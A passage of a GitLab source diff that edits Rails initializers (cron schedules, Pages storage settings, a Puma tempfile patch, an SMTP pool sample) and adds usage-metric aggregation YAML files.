+++ b/config/initializers/0_marginalia.rb
@@ -13,7 +13,7 @@ require 'marginalia'
# matching against the raw SQL, and prepending the comment prevents color
# coding from working in the development log.
Marginalia::Comment.prepend_comment = true if Rails.env.production?
-Marginalia::Comment.components = [:application, :controller, :action, :correlation_id, :jid, :job_class, :endpoint_id]
+Marginalia::Comment.components = [:application, :correlation_id, :jid, :endpoint_id]
# As mentioned in https://github.com/basecamp/marginalia/pull/93/files,
# adding :line has some overhead because a regexp on the backtrace has
diff --git a/config/initializers/1_settings.rb b/config/initializers/1_settings.rb
index b8dc464deed..99335321f28 100644
--- a/config/initializers/1_settings.rb
+++ b/config/initializers/1_settings.rb
@@ -68,7 +68,7 @@ if Settings.ldap['enabled'] || Rails.env.test?
server['tls_options'] ||= {}
if server['ssl_version'] || server['ca_file']
- Rails.logger.warn 'DEPRECATED: LDAP options `ssl_version` and `ca_file` should be nested within `tls_options`' # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn 'DEPRECATED: LDAP options `ssl_version` and `ca_file` should be nested within `tls_options`'
end
if server['ssl_version']
@@ -184,8 +184,8 @@ Settings.gitlab['user'] ||= 'git'
Settings.gitlab['ssh_user'] ||= Settings.gitlab.user
Settings.gitlab['user_home'] ||= begin
Etc.getpwnam(Settings.gitlab['user']).dir
- rescue ArgumentError # no user configured
- '/home/' + Settings.gitlab['user']
+rescue ArgumentError # no user configured
+ '/home/' + Settings.gitlab['user']
end
Settings.gitlab['time_zone'] ||= nil
Settings.gitlab['signup_enabled'] ||= true if Settings.gitlab['signup_enabled'].nil?
@@ -310,6 +310,9 @@ Settings.pages['secret_file'] ||= Rails.root.join('.gitlab_pages_secret')
# this will allow us to easier migrate existing instances with NFS
Settings.pages['storage_path'] = Settings.pages['path']
Settings.pages['object_store'] = ObjectStoreSettings.legacy_parse(Settings.pages['object_store'])
+Settings.pages['local_store'] ||= Settingslogic.new({})
+Settings.pages['local_store']['path'] = Settings.absolute(Settings.pages['local_store']['path'] || File.join(Settings.shared['path'], "pages"))
+Settings.pages['local_store']['enabled'] = true if Settings.pages['local_store']['enabled'].nil?
#
# GitLab documentation
@@ -512,9 +515,6 @@ Settings.cron_jobs['pages_domain_ssl_renewal_cron_worker']['job_class'] = 'Pages
Settings.cron_jobs['issue_due_scheduler_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['issue_due_scheduler_worker']['cron'] ||= '50 00 * * *'
Settings.cron_jobs['issue_due_scheduler_worker']['job_class'] = 'IssueDueSchedulerWorker'
-Settings.cron_jobs['prune_web_hook_logs_worker'] ||= Settingslogic.new({})
-Settings.cron_jobs['prune_web_hook_logs_worker']['cron'] ||= '0 */1 * * *'
-Settings.cron_jobs['prune_web_hook_logs_worker']['job_class'] = 'PruneWebHookLogsWorker'
Settings.cron_jobs['metrics_dashboard_schedule_annotations_prune_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['metrics_dashboard_schedule_annotations_prune_worker']['cron'] ||= '0 1 * * *'
Settings.cron_jobs['metrics_dashboard_schedule_annotations_prune_worker']['job_class'] = 'Metrics::Dashboard::ScheduleAnnotationsPruneWorker'
@@ -560,16 +560,25 @@ Settings.cron_jobs['manage_evidence_worker']['job_class'] = 'Releases::ManageEvi
Settings.cron_jobs['user_status_cleanup_batch_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['user_status_cleanup_batch_worker']['cron'] ||= '* * * * *'
Settings.cron_jobs['user_status_cleanup_batch_worker']['job_class'] = 'UserStatusCleanup::BatchWorker'
+Settings.cron_jobs['ssh_keys_expired_notification_worker'] ||= Settingslogic.new({})
+Settings.cron_jobs['ssh_keys_expired_notification_worker']['cron'] ||= '0 2 * * *'
+Settings.cron_jobs['ssh_keys_expired_notification_worker']['job_class'] = 'SshKeys::ExpiredNotificationWorker'
+Settings.cron_jobs['namespaces_in_product_marketing_emails_worker'] ||= Settingslogic.new({})
+Settings.cron_jobs['namespaces_in_product_marketing_emails_worker']['cron'] ||= '0 9 * * *'
+Settings.cron_jobs['namespaces_in_product_marketing_emails_worker']['job_class'] = 'Namespaces::InProductMarketingEmailsWorker'
+Settings.cron_jobs['ssh_keys_expiring_soon_notification_worker'] ||= Settingslogic.new({})
+Settings.cron_jobs['ssh_keys_expiring_soon_notification_worker']['cron'] ||= '0 1 * * *'
+Settings.cron_jobs['ssh_keys_expiring_soon_notification_worker']['job_class'] = 'SshKeys::ExpiringSoonNotificationWorker'
Gitlab.com do
- Settings.cron_jobs['namespaces_in_product_marketing_emails_worker'] ||= Settingslogic.new({})
- Settings.cron_jobs['namespaces_in_product_marketing_emails_worker']['cron'] ||= '0 9 * * *'
- Settings.cron_jobs['namespaces_in_product_marketing_emails_worker']['job_class'] = 'Namespaces::InProductMarketingEmailsWorker'
+ Settings.cron_jobs['batched_background_migrations_worker'] ||= Settingslogic.new({})
+ Settings.cron_jobs['batched_background_migrations_worker']['cron'] ||= '* * * * *'
+ Settings.cron_jobs['batched_background_migrations_worker']['job_class'] = 'Database::BatchedBackgroundMigrationWorker'
end
Gitlab.ee do
Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker'] ||= Settingslogic.new({})
- Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['cron'] ||= '0 4 * * *'
+ Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['cron'] ||= '0 4 * * 0'
Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['job_class'] = 'Analytics::DevopsAdoption::CreateAllSnapshotsWorker'
Settings.cron_jobs['active_user_count_threshold_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['active_user_count_threshold_worker']['cron'] ||= '0 12 * * *'
@@ -586,6 +595,9 @@ Gitlab.ee do
Settings.cron_jobs['geo_verification_cron_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['geo_verification_cron_worker']['cron'] ||= '* * * * *'
Settings.cron_jobs['geo_verification_cron_worker']['job_class'] ||= 'Geo::VerificationCronWorker'
+ Settings.cron_jobs['geo_sync_timeout_cron_worker'] ||= Settingslogic.new({})
+ Settings.cron_jobs['geo_sync_timeout_cron_worker']['cron'] ||= '*/10 * * * *'
+ Settings.cron_jobs['geo_sync_timeout_cron_worker']['job_class'] ||= 'Geo::SyncTimeoutCronWorker'
Settings.cron_jobs['geo_secondary_usage_data_cron_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['geo_secondary_usage_data_cron_worker']['cron'] ||= '0 0 * * 0'
Settings.cron_jobs['geo_secondary_usage_data_cron_worker']['job_class'] ||= 'Geo::SecondaryUsageDataCronWorker'
diff --git a/config/initializers/active_record_ping.rb b/config/initializers/active_record_ping.rb
index 196f587f565..7088c690a51 100644
--- a/config/initializers/active_record_ping.rb
+++ b/config/initializers/active_record_ping.rb
@@ -2,6 +2,6 @@
# # frozen_string_literal: true
-if Gitlab::Utils.to_boolean(ENV['ENABLE_ACTIVERECORD_EMPTY_PING'], default: false)
+if Gitlab::Utils.to_boolean(ENV['ENABLE_ACTIVERECORD_EMPTY_PING'], default: true)
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.prepend(Gitlab::Database::PostgresqlAdapter::EmptyQueryPing)
end
diff --git a/config/initializers/active_record_preloader.rb b/config/initializers/active_record_preloader.rb
index 349ca6c4831..257a8a9e955 100644
--- a/config/initializers/active_record_preloader.rb
+++ b/config/initializers/active_record_preloader.rb
@@ -9,6 +9,7 @@ module ActiveRecord
end
def self.run
+ self
end
def self.preloaded_records
diff --git a/config/initializers/bullet.rb b/config/initializers/bullet.rb
index 2d21514b121..3ef426aaadc 100644
--- a/config/initializers/bullet.rb
+++ b/config/initializers/bullet.rb
@@ -1,18 +1,18 @@
# frozen_string_literal: true
-def bullet_enabled?
- Gitlab::Utils.to_boolean(ENV['ENABLE_BULLET'].to_s)
-end
-
-if defined?(Bullet) && (bullet_enabled? || Rails.env.development?)
+if Gitlab::Bullet.configure_bullet?
Rails.application.configure do
config.after_initialize do
Bullet.enable = true
- Bullet.bullet_logger = bullet_enabled?
- Bullet.console = bullet_enabled?
+ if Gitlab::Bullet.extra_logging_enabled?
+ Bullet.bullet_logger = true
+ Bullet.console = true
+ end
Bullet.raise = Rails.env.test?
+
+ Bullet.stacktrace_excludes = Gitlab::Bullet::Exclusions.new.execute
end
end
end
diff --git a/config/initializers/graphql.rb b/config/initializers/graphql.rb
index f1bc289f1f0..52c26e756a5 100644
--- a/config/initializers/graphql.rb
+++ b/config/initializers/graphql.rb
@@ -1,7 +1,5 @@
# frozen_string_literal: true
GraphQL::ObjectType.accepts_definitions(authorize: GraphQL::Define.assign_metadata_key(:authorize))
-GraphQL::Field.accepts_definitions(authorize: GraphQL::Define.assign_metadata_key(:authorize))
GraphQL::Schema::Object.accepts_definition(:authorize)
-GraphQL::Schema::Field.accepts_definition(:authorize)
diff --git a/config/initializers/hangouts_chat_http_override.rb b/config/initializers/hangouts_chat_http_override.rb
index 4fd886697e4..edb31ed53f1 100644
--- a/config/initializers/hangouts_chat_http_override.rb
+++ b/config/initializers/hangouts_chat_http_override.rb
@@ -17,9 +17,8 @@ module HangoutsChat
headers: { 'Content-Type' => 'application/json' },
parse: nil # disables automatic response parsing
)
- net_http_response = httparty_response.response
+ httparty_response.response
# The rest of the integration expects a Net::HTTP response
- net_http_response
end
end
diff --git a/config/initializers/json_validator_patch.rb b/config/initializers/json_validator_patch.rb
deleted file mode 100644
index cb4158045ee..00000000000
--- a/config/initializers/json_validator_patch.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-# This patches https://github.com/ruby-json-schema/json-schema/blob/765e6d8fdbfdaca1a42fa743f4621e757f9f6a03/lib/json-schema/validator.rb
-# to address https://github.com/ruby-json-schema/json-schema/issues/148.
-require 'json-schema'
-
-module JSON
- class Validator
- def initialize_data(data)
- if @options[:parse_data]
- if @options[:json]
- data = self.class.parse(data)
- elsif @options[:uri]
- json_uri = Util::URI.normalized_uri(data)
- data = self.class.parse(custom_open(json_uri))
- elsif data.is_a?(String)
- begin
- data = self.class.parse(data)
- rescue JSON::Schema::JsonParseError
- # Silently discard the error - use the data as-is
- end
- end
- end
-
- JSON::Schema.stringify(data)
- end
- end
-end
diff --git a/config/initializers/kramdown_patch.rb b/config/initializers/kramdown_patch.rb
deleted file mode 100644
index 5cb769cec24..00000000000
--- a/config/initializers/kramdown_patch.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-#
-# This pulls in https://github.com/gettalong/kramdown/pull/708 for kramdown v2.3.0.
-# Remove this file when that pull request is merged and released.
-require 'kramdown/converter'
-require 'kramdown/converter/syntax_highlighter/rouge'
-
-module Kramdown::Converter::SyntaxHighlighter
- module Rouge
- def self.formatter_class(opts = {})
- case formatter = opts[:formatter]
- when Class
- formatter
- when /\A[[:upper:]][[:alnum:]_]*\z/
- ::Rouge::Formatters.const_get(formatter, false)
- else
- # Available in Rouge 2.0 or later
- ::Rouge::Formatters::HTMLLegacy
- end
- rescue NameError
- # Fallback to Rouge 1.x
- ::Rouge::Formatters::HTML
- end
- end
-end
diff --git a/config/initializers/pages_storage_check.rb b/config/initializers/pages_storage_check.rb
new file mode 100644
index 00000000000..8e0e0464ed6
--- /dev/null
+++ b/config/initializers/pages_storage_check.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+# This is to make sure at least one storage strategy for Pages is enabled.
+
+pages = Settings.pages
+
+return unless pages['enabled'] && pages['local_store']
+
+local_store_enabled = Gitlab::Utils.to_boolean(pages['local_store']['enabled'])
+object_store_enabled = Gitlab::Utils.to_boolean(pages['object_store']['enabled'])
+
+if !local_store_enabled && !object_store_enabled
+ raise "Please enable at least one of the two Pages storage strategy (local_store or object_store) in your config/gitlab.yml."
+end
diff --git a/config/initializers/postgres_cte_as_materialized.rb b/config/initializers/postgres_cte_as_materialized.rb
new file mode 100644
index 00000000000..85b3361e25e
--- /dev/null
+++ b/config/initializers/postgres_cte_as_materialized.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+# This patch adds support for AS MATERIALIZED in Arel, see Gitlab::Database::AsWithMaterialized for more info
+module Arel
+ module Visitors
+ class Arel::Visitors::PostgreSQL
+ def visit_Gitlab_Database_AsWithMaterialized(obj, collector) # rubocop:disable Naming/MethodName
+ collector = visit obj.left, collector
+ collector << " AS#{obj.expr} "
+ visit obj.right, collector
+ end
+ end
+ end
+end
diff --git a/config/initializers/postgresql_cte.rb b/config/initializers/postgresql_cte.rb
index 1ea0b4cfb58..6a9af7b4868 100644
--- a/config/initializers/postgresql_cte.rb
+++ b/config/initializers/postgresql_cte.rb
@@ -121,6 +121,8 @@ module ActiveRecord
end
when Arel::Nodes::As
with_value
+ when Gitlab::Database::AsWithMaterialized
+ with_value
end
end
diff --git a/config/initializers/puma_client_tempfile_patch.rb b/config/initializers/puma_client_tempfile_patch.rb
new file mode 100644
index 00000000000..e1faa21804f
--- /dev/null
+++ b/config/initializers/puma_client_tempfile_patch.rb
@@ -0,0 +1,103 @@
+# frozen_string_literal: true
+
+if Gitlab::Runtime.puma?
+ raise "Remove this monkey patch: #{__FILE__}" unless Puma::Const::VERSION == '5.1.1'
+
+ if ENV['GITLAB_TEMPFILE_IMMEDIATE_UNLINK'] == '1'
+ # This is copied from https://github.com/puma/puma/blob/v5.1.1/lib/puma/client.rb,
+ # with two additions: both times we create a temporary file, we immediately
+ # call `#unlink`. This means that if the process gets terminated without being
+ # able to clean up itself, the temporary file will not linger on the file
+ # system. We will try to get this patch accepted upstream if it works for us
+ # (we just need to check if the temporary file responds to `#unlink` as that
+ # won't work on Windows, for instance).
+ module Puma
+ class Client
+ private
+
+ def setup_body
+ @body_read_start = Process.clock_gettime(Process::CLOCK_MONOTONIC, :millisecond)
+
+ if @env[HTTP_EXPECT] == CONTINUE
+ # TODO allow a hook here to check the headers before
+ # going forward
+ @io << HTTP_11_100
+ @io.flush
+ end
+
+ @read_header = false
+
+ body = @parser.body
+
+ te = @env[TRANSFER_ENCODING2]
+
+ if te
+ if te.include?(",")
+ te.split(",").each do |part|
+ if CHUNKED.casecmp(part.strip) == 0 # rubocop:disable Metrics/BlockNesting
+ return setup_chunked_body(body)
+ end
+ end
+ elsif CHUNKED.casecmp(te) == 0
+ return setup_chunked_body(body)
+ end
+ end
+
+ @chunked_body = false
+
+ cl = @env[CONTENT_LENGTH]
+
+ unless cl
+ @buffer = body.empty? ? nil : body
+ @body = EmptyBody
+ set_ready
+ return true
+ end
+
+ remain = cl.to_i - body.bytesize
+
+ if remain <= 0
+ @body = StringIO.new(body)
+ @buffer = nil
+ set_ready
+ return true
+ end
+
+ if remain > MAX_BODY
+ @body = Tempfile.new(Const::PUMA_TMP_BASE)
+ @body.binmode
+ @body.unlink # This is the changed part
+ @tempfile = @body
+ else
+ # The body[0,0] trick is to get an empty string in the same
+ # encoding as body.
+ @body = StringIO.new body[0,0] # rubocop:disable Layout/SpaceAfterComma
+ end
+
+ @body.write body
+
+ @body_remain = remain
+
+ return false # rubocop:disable Style/RedundantReturn
+ end
+
+ def setup_chunked_body(body)
+ @chunked_body = true
+ @partial_part_left = 0
+ @prev_chunk = ""
+
+ @body = Tempfile.new(Const::PUMA_TMP_BASE)
+ @body.binmode
+ @body.unlink # This is the changed part
+ @tempfile = @body
+ @chunked_content_length = 0
+
+ if decode_chunk(body)
+ @env[CONTENT_LENGTH] = @chunked_content_length
+ return true # rubocop:disable Style/RedundantReturn
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/config/initializers/query_limiting.rb b/config/initializers/query_limiting.rb
index 66aefc97c6a..7dfa27c395a 100644
--- a/config/initializers/query_limiting.rb
+++ b/config/initializers/query_limiting.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-if Gitlab::QueryLimiting.enable?
+if Gitlab::QueryLimiting.enabled_for_env?
require_dependency 'gitlab/query_limiting/active_support_subscriber'
require_dependency 'gitlab/query_limiting/transaction'
require_dependency 'gitlab/query_limiting/middleware'
diff --git a/config/initializers/smtp_settings.rb.sample b/config/initializers/smtp_settings.rb.sample
index bd37080b1c8..4a50c29143d 100644
--- a/config/initializers/smtp_settings.rb.sample
+++ b/config/initializers/smtp_settings.rb.sample
@@ -5,7 +5,7 @@
#
# For full list of options and their values see http://api.rubyonrails.org/classes/ActionMailer/Base.html
#
-# If you change this file in a Merge Request, please also create a Merge Request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+# If you change this file in a merge request, please also create a merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
if Rails.env.production?
Rails.application.config.action_mailer.delivery_method = :smtp
@@ -22,3 +22,28 @@ if Rails.env.production?
openssl_verify_mode: 'peer' # See ActionMailer documentation for other possible options
}
end
+
+# To use an SMTP connection pool, uncomment the following section:
+#
+# require 'mail/smtp_pool'
+#
+# ActionMailer::Base.add_delivery_method :smtp_pool, Mail::SMTPPool
+#
+# if Rails.env.production?
+# Rails.application.config.action_mailer.delivery_method = :smtp_pool
+#
+# ActionMailer::Base.delivery_method = :smtp_pool
+# ActionMailer::Base.smtp_pool_settings = {
+# pool: Mail::SMTPPool.create_pool(
+# pool_size: Gitlab::Runtime.max_threads,
+# address: "email.server.com",
+# port: 465,
+# user_name: "smtp",
+# password: "123456",
+# domain: "gitlab.company.com",
+# authentication: :login,
+# enable_starttls_auto: true,
+# openssl_verify_mode: 'peer' # See ActionMailer documentation for other possible options
+# )
+# }
+# end
diff --git a/config/initializers/trusted_proxies.rb b/config/initializers/trusted_proxies.rb
index 79e4b831c5e..f03561b5617 100644
--- a/config/initializers/trusted_proxies.rb
+++ b/config/initializers/trusted_proxies.rb
@@ -17,7 +17,7 @@ end
gitlab_trusted_proxies = Array(Gitlab.config.gitlab.trusted_proxies).map do |proxy|
IPAddr.new(proxy)
- rescue IPAddr::InvalidAddressError
+rescue IPAddr::InvalidAddressError
end.compact
Rails.application.config.action_dispatch.trusted_proxies = (
diff --git a/config/initializers_before_autoloader/000_inflections.rb b/config/initializers_before_autoloader/000_inflections.rb
index 308b38c1ba2..de8f79b9a29 100644
--- a/config/initializers_before_autoloader/000_inflections.rb
+++ b/config/initializers_before_autoloader/000_inflections.rb
@@ -24,6 +24,7 @@ ActiveSupport::Inflector.inflections do |inflect|
job_artifact_registry
lfs_object_registry
package_file_registry
+ pipeline_artifact_registry
project_auto_devops
project_registry
project_statistics
@@ -34,5 +35,6 @@ ActiveSupport::Inflector.inflections do |inflect|
vulnerability_feedback
)
inflect.acronym 'EE'
+ inflect.acronym 'JH'
inflect.acronym 'CSP'
end
diff --git a/config/known_invalid_graphql_queries.yml b/config/known_invalid_graphql_queries.yml
index 2989b3a4262..3c6ef13dd1c 100644
--- a/config/known_invalid_graphql_queries.yml
+++ b/config/known_invalid_graphql_queries.yml
@@ -4,3 +4,6 @@ filenames:
- ee/app/assets/javascripts/security_configuration/api_fuzzing/graphql/api_fuzzing_ci_configuration.query.graphql
- ee/app/assets/javascripts/security_configuration/api_fuzzing/graphql/create_api_fuzzing_configuration.mutation.graphql
- ee/app/assets/javascripts/security_configuration/dast_profiles/graphql/dast_failed_site_validations.query.graphql
+ - app/assets/javascripts/repository/queries/blob_info.query.graphql
+ - ee/app/assets/javascripts/security_configuration/graphql/configure_dependency_scanning.mutation.graphql
+ - ee/app/assets/javascripts/security_configuration/graphql/configure_secret_detection.mutation.graphql
diff --git a/config/locales/devise.en.yml b/config/locales/devise.en.yml
index 06dece58173..036bafef134 100644
--- a/config/locales/devise.en.yml
+++ b/config/locales/devise.en.yml
@@ -9,10 +9,10 @@ en:
failure:
already_authenticated: "You are already signed in."
inactive: "Your account is not activated yet."
- invalid: "Invalid %{authentication_keys} or password."
+ invalid: "Invalid login or password."
locked: "Your account is locked."
last_attempt: "You have one more attempt before your account is locked."
- not_found_in_database: "Invalid %{authentication_keys} or password."
+ not_found_in_database: "Invalid login or password."
timeout: "Your session expired. Please sign in again to continue."
unauthenticated: "You need to sign in or sign up before continuing."
unconfirmed: "You have to confirm your email address before continuing. Please check your email for the link we sent you, or click 'Resend confirmation email'."
diff --git a/config/mail_room.yml b/config/mail_room.yml
index 23170acbf65..25bda294a13 100644
--- a/config/mail_room.yml
+++ b/config/mail_room.yml
@@ -19,6 +19,13 @@
:delete_after_delivery: true
:expunge_deleted: <%= config[:expunge_deleted].to_json %>
+ <% if config[:inbox_method] %>
+ :inbox_method: <%= config[:inbox_method] %>
+ <% end %>
+ <% if config[:inbox_options].is_a?(Hash) %>
+ <%= config.slice(:inbox_options).to_yaml(indentation: 8).gsub(/^---\n/, '') %>
+ <% end %>
+
:delivery_method: sidekiq
:delivery_options:
:redis_url: <%= config[:redis_url].to_json %>
diff --git a/config/metrics/aggregates/code_review.yml b/config/metrics/aggregates/code_review.yml
new file mode 100644
index 00000000000..a2e931bd217
--- /dev/null
+++ b/config/metrics/aggregates/code_review.yml
@@ -0,0 +1,105 @@
+# code_review_extension_category_monthly_active_users
+# This is only metrics related to the VS Code Extension for now.
+#
+# code_review_category_monthly_active_users
+# This is the user based metrics. These should only be user based metrics and only be related to the Code Review things inside of GitLab.
+#
+# code_review_group_monthly_active_users
+# This is an aggregation of both of the above aggregations. It's intended to represent all users who interact with our group across all of our categories.
+---
+- name: code_review_group_monthly_active_users
+ operator: OR
+ feature_flag: usage_data_code_review_aggregation
+ source: redis
+ time_frame: [7d, 28d]
+ events:
+ - 'i_code_review_user_single_file_diffs'
+ - 'i_code_review_user_create_mr'
+ - 'i_code_review_user_close_mr'
+ - 'i_code_review_user_reopen_mr'
+ - 'i_code_review_user_resolve_thread'
+ - 'i_code_review_user_unresolve_thread'
+ - 'i_code_review_edit_mr_title'
+ - 'i_code_review_edit_mr_desc'
+ - 'i_code_review_user_merge_mr'
+ - 'i_code_review_user_create_mr_comment'
+ - 'i_code_review_user_edit_mr_comment'
+ - 'i_code_review_user_remove_mr_comment'
+ - 'i_code_review_user_create_review_note'
+ - 'i_code_review_user_publish_review'
+ - 'i_code_review_user_create_multiline_mr_comment'
+ - 'i_code_review_user_edit_multiline_mr_comment'
+ - 'i_code_review_user_remove_multiline_mr_comment'
+ - 'i_code_review_user_add_suggestion'
+ - 'i_code_review_user_apply_suggestion'
+ - 'i_code_review_user_assigned'
+ - 'i_code_review_user_review_requested'
+ - 'i_code_review_user_approve_mr'
+ - 'i_code_review_user_unapprove_mr'
+ - 'i_code_review_user_marked_as_draft'
+ - 'i_code_review_user_unmarked_as_draft'
+ - 'i_code_review_user_approval_rule_added'
+ - 'i_code_review_user_approval_rule_deleted'
+ - 'i_code_review_user_approval_rule_edited'
+ - 'i_code_review_user_vs_code_api_request'
+ - 'i_code_review_user_toggled_task_item_status'
+ - 'i_code_review_user_create_mr_from_issue'
+ - 'i_code_review_user_mr_discussion_locked'
+ - 'i_code_review_user_mr_discussion_unlocked'
+ - 'i_code_review_user_time_estimate_changed'
+ - 'i_code_review_user_time_spent_changed'
+ - 'i_code_review_user_assignees_changed'
+ - 'i_code_review_user_reviewers_changed'
+ - 'i_code_review_user_milestone_changed'
+ - 'i_code_review_user_labels_changed'
+- name: code_review_category_monthly_active_users
+ operator: OR
+ feature_flag: usage_data_code_review_aggregation
+ source: redis
+ time_frame: [7d, 28d]
+ events:
+ - 'i_code_review_user_single_file_diffs'
+ - 'i_code_review_user_create_mr'
+ - 'i_code_review_user_close_mr'
+ - 'i_code_review_user_reopen_mr'
+ - 'i_code_review_user_resolve_thread'
+ - 'i_code_review_user_unresolve_thread'
+ - 'i_code_review_edit_mr_title'
+ - 'i_code_review_edit_mr_desc'
+ - 'i_code_review_user_merge_mr'
+ - 'i_code_review_user_create_mr_comment'
+ - 'i_code_review_user_edit_mr_comment'
+ - 'i_code_review_user_remove_mr_comment'
+ - 'i_code_review_user_create_review_note'
+ - 'i_code_review_user_publish_review'
+ - 'i_code_review_user_create_multiline_mr_comment'
+ - 'i_code_review_user_edit_multiline_mr_comment'
+ - 'i_code_review_user_remove_multiline_mr_comment'
+ - 'i_code_review_user_add_suggestion'
+ - 'i_code_review_user_apply_suggestion'
+ - 'i_code_review_user_assigned'
+ - 'i_code_review_user_review_requested'
+ - 'i_code_review_user_approve_mr'
+ - 'i_code_review_user_unapprove_mr'
+ - 'i_code_review_user_marked_as_draft'
+ - 'i_code_review_user_unmarked_as_draft'
+ - 'i_code_review_user_approval_rule_added'
+ - 'i_code_review_user_approval_rule_deleted'
+ - 'i_code_review_user_approval_rule_edited'
+ - 'i_code_review_user_toggled_task_item_status'
+ - 'i_code_review_user_create_mr_from_issue'
+ - 'i_code_review_user_mr_discussion_locked'
+ - 'i_code_review_user_mr_discussion_unlocked'
+ - 'i_code_review_user_time_estimate_changed'
+ - 'i_code_review_user_time_spent_changed'
+ - 'i_code_review_user_assignees_changed'
+ - 'i_code_review_user_reviewers_changed'
+ - 'i_code_review_user_milestone_changed'
+ - 'i_code_review_user_labels_changed'
+- name: code_review_extension_category_monthly_active_users
+ operator: OR
+ feature_flag: usage_data_code_review_aggregation
+ source: redis
+ time_frame: [7d, 28d]
+ events:
+ - 'i_code_review_user_vs_code_api_request'
diff --git a/config/metrics/aggregates/common.yml b/config/metrics/aggregates/common.yml
new file mode 100644
index 00000000000..beabb72dd72
--- /dev/null
+++ b/config/metrics/aggregates/common.yml
@@ -0,0 +1,64 @@
+# Aggregated metrics that include EE only event names within `events:` attribute have to be defined at ee/config/metrics/aggregates/common.yml
+# instead of this file.
+#- name: unique name of aggregated metric
+# operator: aggregation operator. Valid values are:
+# - "OR": counts unique elements that were observed triggering any of following events
+# - "AND": counts unique elements that were observed triggering all of following events
+# events: list of events names to aggregate into metric. All events in this list must have the same 'redis_slot' and 'aggregation' attributes
+# see from lib/gitlab/usage_data_counters/known_events/ for the list of valid events.
+# source: defines which datasource will be used to locate events that should be included in aggregated metric. Valid values are:
+# - database
+# - redis
+# time_frame: defines time frames for aggregated metrics:
+# - 7d - last 7 days
+# - 28d - last 28 days
+# - all - all historical available data, this time frame is not available for redis source
+# feature_flag: name of development feature flag that will be checked before metrics aggregation is performed.
+# Corresponding feature flag should have `default_enabled` attribute set to `false`.
+# This attribute is OPTIONAL and can be omitted, when `feature_flag` is missing no feature flag will be checked.
+---
+- name: compliance_features_track_unique_visits_union
+ operator: OR
+ source: redis
+ time_frame: [7d, 28d]
+ events:
+ - 'g_compliance_audit_events'
+ - 'g_compliance_dashboard'
+ - 'i_compliance_audit_events'
+ - 'a_compliance_audit_events_api'
+ - 'i_compliance_credential_inventory'
+- name: incident_management_alerts_total_unique_counts
+ operator: OR
+ source: redis
+ time_frame: [7d, 28d]
+ events:
+ - 'incident_management_alert_status_changed'
+ - 'incident_management_alert_assigned'
+ - 'incident_management_alert_todo'
+ - 'incident_management_alert_create_incident'
+- name: incident_management_incidents_total_unique_counts
+ operator: OR
+ source: redis
+ time_frame: [7d, 28d]
+ events:
+ - 'incident_management_incident_created'
+ - 'incident_management_incident_reopened'
+ - 'incident_management_incident_closed'
+ - 'incident_management_incident_assigned'
+ - 'incident_management_incident_todo'
+ - 'incident_management_incident_comment'
+ - 'incident_management_incident_zoom_meeting'
+ - 'incident_management_incident_published'
+ - 'incident_management_incident_relate'
+ - 'incident_management_incident_unrelate'
+ - 'incident_management_incident_change_confidential'
+- name: i_testing_paid_monthly_active_user_total
+ operator: OR
+ source: redis
+ time_frame: [7d, 28d]
+ events:
+ - 'i_testing_web_performance_widget_total'
+ - 'i_testing_full_code_quality_report_total'
+ - 'i_testing_group_code_coverage_visit_total'
+ - 'i_testing_load_performance_widget_total'
+ - 'i_testing_metrics_report_widget_total'
diff --git a/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml b/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml
index 43f967d5e92..1561e0e9c3b 100644
--- a/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml
+++ b/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters_applications_cert_managers.status IN (3, 5))'>_clusters_<with>_<adjective describing: '(clusters_applications_cert_managers.status IN (3, 5))'>_clusters_applications_cert_managers"
diff --git a/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml b/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml
index 5aeea54a4a8..8882af8aa13 100644
--- a/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml
+++ b/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_<with>_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_applications_helm"
diff --git a/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml b/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml
index 9d2da437f7a..189623b8644 100644
--- a/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml
+++ b/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters_applications_ingress.status IN (3, 5))'>_clusters_<with>_<adjective describing: '(clusters_applications_ingress.status IN (3, 5))'>_clusters_applications_ingress"
diff --git a/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml b/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml
index 6a1bfaf23d9..5a67a5b39d5 100644
--- a/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml
